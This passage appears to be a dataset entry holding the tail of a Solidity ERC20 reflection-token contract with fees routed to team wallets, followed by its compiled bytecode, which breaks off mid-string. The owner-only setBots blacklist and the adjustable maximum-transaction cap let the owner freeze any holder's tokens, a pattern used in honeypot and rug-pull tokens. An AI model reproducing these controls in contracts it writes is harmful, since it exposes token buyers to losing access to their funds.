"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600381526020017f5252520000000000000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5252520000000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b8261